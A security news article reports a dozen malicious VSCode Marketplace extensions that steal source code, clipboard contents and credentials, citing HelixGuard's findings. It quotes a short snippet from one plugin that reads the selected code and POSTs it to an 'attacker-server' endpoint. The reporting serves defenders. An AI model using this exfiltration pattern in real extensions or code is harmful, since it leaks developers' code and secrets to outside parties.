12 Malicious Extension in VSCode Marketplace Steal Source Code and Exfiltrate Login Credentials

A recent discovery has shaken the Visual Studio Code (VSCode) ecosystem, unveiling a sophisticated supply chain attack targeting developers worldwide.

At least a dozen malicious extensions were identified in the official VSCode Marketplace, with four remaining active as of the time of reporting.

These plugins, some disguised as legitimate productivity tools, infiltrated developer environments, laying the groundwork for large-scale data exfiltration and credential theft.

The growing reliance on IDE plugins and AI-powered code assistants has inadvertently broadened the attack surface, making such platforms appetizing targets for sophisticated attackers.

The incident’s scope underscores the fragility of the software supply chain. Once installed, these extensions possess extensive access, enabling them to silently pilfer project code, sensitive data, and even clipboard contents.

In several cases, the malicious payloads established persistent connections with attacker-controlled servers, effectively acting as covert backdoors within trusted coding environments.

Notably, HelixGuard researchers were the first to identify the coordinated nature of these attacks, highlighting that certain plugins—such as Christine-devops1234.scraper and Kodease.fyp-23-s2-08—leveraged various exfiltration techniques ranging from simple HTTP POST requests to persistent socket connections.

HelixGuard analysts uncovered that some variants actively monitored user code, configuration files, and even environment variables.

One plugin, for example, repeatedly invoked functions like document.getText(selection) to harvest selected source code, transmitting the results via HTTP to remote endpoints:-

let code = document.getText(selection);
code = code.split(" ").join("").toLowerCase();
axios.post('https://attacker-server/app', { code })

By embedding such routine data collection in seemingly harmless background tasks, the extensions evade most basic security scans.

While these is a typical infection chain that captures the stages from plugin installation to active data exfiltration and remote command execution.

This campaign’s sophistication spotlights the pressing need for heightened vigilance, rigorous plugin vetting, and real-time marketplace monitoring among developer communities.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.